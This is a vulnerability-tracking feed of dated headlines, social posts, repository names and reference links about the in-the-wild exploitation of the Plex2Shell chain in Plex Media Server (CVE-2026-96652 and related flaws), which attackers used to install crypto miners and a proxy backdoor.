social bsky.app @cybowl.bsky.social 2026-10-20 07:03 UTCVulnérabilités élevées (7 ≤ CVSS < 9) · 4 • Plex Media Server (CVE-2026-96652), CVSS 8.6 (Cyberveille) • SiteGuard Server Edition (CVE-2026-106931), CVSS 8.5 (Cyberveille) • Drupal (CVE-2026-108097) (Cyberveille Esanté) • IBM i (CVE-2026-1…Open source
-
code github.com ChrisLPJones 2026-10-20 04:07 UTCChrisLPJones/plex2shell-checkOpen source
-
social bsky.app @newssecia.bsky.social 2026-10-20 03:20 UTC🤖 Plex2Shell: 4 chained Plex flaws (CVE-2026-96652/54/55/56) allow unauthenticated RCE; fixed in 1.43.3.10861 (Aug 3). Exploited a day after the Oct 16 PoC: XMRig miner + "myawesomeproxy" Linux backdoor. https://thehackernews.com/2026/10/h…Open source
-
news threatsensor.csurface.io 2026-10-20 00:00 UTCCVE-2026-96652: Plex Media Server SSRF Vulnerability Added to CISA KEV ListOpen source
-
news news.lavx.hu 2026-10-19 21:20 UTCHackers exploit Plex2Shell flaws to deploy crypto miners and Linux backdoor - news.lavx.huOpen source
-
social bsky.app @technotenshi.bsky.social 2026-10-19 21:03 UTCPlex fixed Plex2Shell (CVE-2026-96652 +3) in 1.43.3 by Sep 1. One honeypot saw it exploited Oct 17, a day after the PoC went public, dropping a miner and proxy tool. www.boredhackerblog.info/2026/10/plex... #Plex #Malware #CybersecurityOpen source
-
social bsky.app @cyberveille-ch.bsky.social 2026-10-19 18:30 UTC📢 Exploitation in-the-wild de vulnérabilités Plex Media Server via chaîne RCE (plex2shell) Le chercheur zmain a découvert et chaîné plusieurs vulnérabilités dans Plex Media Server v1.43.2 et antérieures pour obtenir une exécution… 🟢 vérifi…Open source
-
news thehackernews.com 2026-10-19 17:32 UTCHackers Exploit Plex2Shell Flaws to Install Crypto Miners and Linux Proxy Backdoor - The Hacker NewsOpen source
-
news gizmodo.com 2026-10-19 13:00 UTCYour Plex Server Could Be Mining Crypto for Hackers - GizmodoOpen source
-
news securityweek.com 2026-10-19 12:44 UTCPlex2Shell Exploit Chain Weaponized Against Plex Servers Hours After Disclosure - SecurityWeekOpen source
-
social bsky.app @threadlinqs.bsky.social 2026-10-19 04:38 UTCPlex2Shell turns exposed media servers into miners - unauth RCE chain exploited right after the PoC dropped. https://intel.threadlinqs.com/threat/TL-2026-3858 #ThreatIntel #CVE_2026_96652 #CVE_2026_96654 #xmrigOpen source
-
news cordcuttersnews.com 2026-10-18 19:38 UTCPlex Media Server Owners Urged to Update Immediately After In-the-Wild Exploitation of Older Installations Turns Your Computer Into a Zombie - | Cord Cutters NewsOpen source
-
social bsky.app @cordcuttersnews.com.web.brid.gy 2026-10-18 19:38 UTCOpen source
-
code github.com code-zm 2026-10-18 05:00 UTCcode-zm/plex2shellOpen source
-
news cybersecuritynews.com 2026-10-17 07:00 UTCHackers Exploiting Plex Vulnerabilities in the Wild to Deploy Cryptominer Malware - CyberSecurityNewsOpen source
-
code github.com gmh5225 2026-10-17 01:44 UTCgmh5225/plex2shellOpen source
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-96652 |
| raw.githubusercontent.com |
GitHub CVE
third-party-advisory
|
https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-266-01.json |
| forums.plex.tv |
GitHub CVE
release-notes
|
https://forums.plex.tv/t/plex-media-server/30447/711 |
| cve.org |
GitHub CVE
vdb-entry
|
https://www.cve.org/CVERecord?id=CVE-2026-96652 |
| zmain.info |
GitHub CVE
third-party-advisory
|
https://zmain.info/blog/plex2shell |
| cisa.gov |
NVD API
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-96652 |